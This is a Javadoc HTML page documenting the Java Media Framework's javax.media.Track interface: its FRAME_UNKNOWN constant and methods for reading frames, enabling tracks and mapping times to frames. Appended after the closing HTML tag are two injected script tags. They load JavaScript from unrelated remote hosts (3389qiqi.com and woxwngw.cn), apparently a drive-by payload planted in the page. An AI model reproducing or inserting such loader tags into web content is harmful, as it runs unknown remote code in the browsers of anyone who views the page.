📄 track.html
字号:
<A NAME="FRAME_UNKNOWN"><!-- --></A><H3>FRAME_UNKNOWN</H3><PRE>public static final int <B>FRAME_UNKNOWN</B></PRE><DL><DD>The <CODE>mapTimeToFrame</CODE> method returns this value if the time mapping cannot be established or the <CODE>Track</CODE> contains an audio stream.</DL><!-- ========= CONSTRUCTOR DETAIL ======== --><!-- ============ METHOD DETAIL ========== --><A NAME="method_detail"><!-- --></A><TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%"><TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"><TD COLSPAN=1><FONT SIZE="+2"><B>Method Detail</B></FONT></TD></TR></TABLE><A NAME="getFormat()"><!-- --></A><H3>getFormat</H3><PRE>public <A HREF="../../javax/media/Format.html">Format</A> <B>getFormat</B>()</PRE><DL><DD>Gets the <code>Format</code> of the data in this <code>Track</code>.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>The <code>Format</code> associated with this <code>Track</code>.</DL></DD></DL><HR><A NAME="setEnabled(boolean)"><!-- --></A><H3>setEnabled</H3><PRE>public void <B>setEnabled</B>(boolean t)</PRE><DL><DD>Enables or disables this <code>Track</code>. A <CODE>Demultiplexer</CODE> discards the data from disabled tracks.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>t</CODE> - A boolean value indicating whether or not to enable this <CODE>Track</CODE>. Set to <CODE>true</CODE> to enable this <CODE>Track</CODE>, <CODE>false</CODE> to disable this <CODE>Track</CODE>.</DL></DD></DL><HR><A NAME="isEnabled()"><!-- --></A><H3>isEnabled</H3><PRE>public boolean <B>isEnabled</B>()</PRE><DL><DD>Checks whether or not this <code>Track</code> is enabled. A <CODE>Demultiplexer</CODE> discards the data from disabled tracks.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD><CODE>true</CODE> if the <code>Track</code> is enabled, <CODE>false</CODE> if it is not.</DL></DD></DL><HR><A NAME="getStartTime()"><!-- --></A><H3>getStartTime</H3><PRE>public <A HREF="../../javax/media/Time.html">Time</A> <B>getStartTime</B>()</PRE><DL><DD>Retrieves the start time of this <CODE>Track</CODE>.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>A <CODE>Time</CODE> object that specifies the start time for this <CODE>Track</CODE>.</DL></DD></DL><HR><A NAME="readFrame(javax.media.Buffer)"><!-- --></A><H3>readFrame</H3><PRE>public void <B>readFrame</B>(<A HREF="../../javax/media/Buffer.html">Buffer</A> buffer)</PRE><DL><DD>Reads the next frame for this <CODE>Track</CODE>. <p> This method might block if the data for a complete frame is not available. It might also block if the stream contains intervening data for a different interleaved <CODE>Track</CODE>. Once the other <CODE>Track</CODE> is read by a <CODE>readFrame</CODE> call from a different thread, this method can read the frame. If the intervening <CODE>Track</CODE> has been disabled, data for that <CODE>Track</CODE> is read and discarded. <p> Note: This scenario is necessary only if a <CODE>PullDataSource</CODE> <CODE>Demultiplexer</CODE> implementation wants to avoid buffering data locally and copying the data to the <CODE>Buffer</CODE> passed in as a parameter. Implementations might decide to buffer data and not block (if possible) and incur data copy overhead. <p> If this method is called on a <CODE>Track</CODE> that has been disabled, it returns immediately with the <CODE>DISCARD</CODE> flag set on. <p> Each track has a sequence number that is updated by the <CODE>Demultiplexer</CODE> for each frame. If downstream nodes receive non-contiguous sequence numbers for a particular <CODE>Track</CODE>, they know that a data overflow has occurred for that <CODE>Track</CODE>.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>buffer</CODE> - The <CODE>Buffer</CODE> into which the data is to be read. If <CODE>readFrame</CODE> is successful, <code>buffer.getLength</code> returns the length of the data that was read.</DL></DD></DL><HR><A NAME="mapTimeToFrame(javax.media.Time)"><!-- --></A><H3>mapTimeToFrame</H3><PRE>public int <B>mapTimeToFrame</B>(<A HREF="../../javax/media/Time.html">Time</A> t)</PRE><DL><DD>Converts the given media time to the corresponding frame number. <p> The frame returned is the nearest frame that has a media time less than or equal to the given media time. <p><DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>mediaTime</CODE> - the input media time for the conversion.<DT><B>Returns:</B><DD>the converted frame number the given media time. If the conversion fails, FRAME_UNKNOWN is returned.</DL></DD></DL><HR><A NAME="mapFrameToTime(int)"><!-- --></A><H3>mapFrameToTime</H3><PRE>public <A HREF="../../javax/media/Time.html">Time</A> <B>mapFrameToTime</B>(int frameNumber)</PRE><DL><DD>Gets the <CODE>Time</CODE> that corresponds to the specified frame number.<DD><DL></DL></DD><DD><DL><DT><B>Returns:</B><DD>A <CODE>Time</CODE> object that corresponds to the specified frame. If the mapping cannot be established or the <CODE>Track</CODE> is an audio track, <CODE>TIME_UNKNOWN</CODE> is returned.</DL></DD></DL><HR><A NAME="setTrackListener(javax.media.TrackListener)"><!-- --></A><H3>setTrackListener</H3><PRE>public void <B>setTrackListener</B>(<A HREF="../../javax/media/TrackListener.html">TrackListener</A> listener)</PRE><DL><DD>Adds an event listener for this <CODE>Track</CODE>. If the <CODE>readFrame</CODE> call in progress will block, the listener is notified. This enables the listener to stop the clock and post a <CODE>RestartingEvent</CODE>.<DD><DL></DL></DD><DD><DL><DT><B>Parameters:</B><DD><CODE>listener</CODE> - The <CODE>TrackListener</CODE> to add.</DL></DD></DL><!-- ========= END OF CLASS DATA ========= --><HR><!-- ========== START OF NAVBAR ========== --><A NAME="navbar_bottom"><!-- --></A><TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0"><TR><TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"><A NAME="navbar_bottom_firstrow"><!-- --></A><TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3"> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A> </TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A> </TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A> </TD> </TR></TABLE></TD><TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM></EM></TD></TR><TR><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../javax/media/TimeBase.html"><B>PREV CLASS</B></A> <A HREF="../../javax/media/TrackListener.html"><B>NEXT CLASS</B></A></FONT></TD><TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../index.html" TARGET="_top"><B>FRAMES</B></A> <A HREF="Track.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD></TR><TR><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2"> SUMMARY: INNER | <A HREF="#field_summary">FIELD</A> | CONSTR | <A HREF="#method_summary">METHOD</A></FONT></TD><TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">DETAIL: <A HREF="#field_detail">FIELD</A> | CONSTR | <A HREF="#method_detail">METHOD</A></FONT></TD></TR></TABLE><!-- =========== END OF NAVBAR =========== --><HR><font size="-1"> <a href="mailto:jmf-bugs@sun.com">Submit a bug or feature</a> <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road, Palo Alto, California, 94303, U.S.A. All Rights Reserved. See the <a href="spec-license.html">Specification License</a> for more details. <br>Sun, Sun Microsystems, and Java are trademarks or registered trademarks of Sun Microsystems, Inc. in the US and other countries.</font></BODY></HTML>
<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -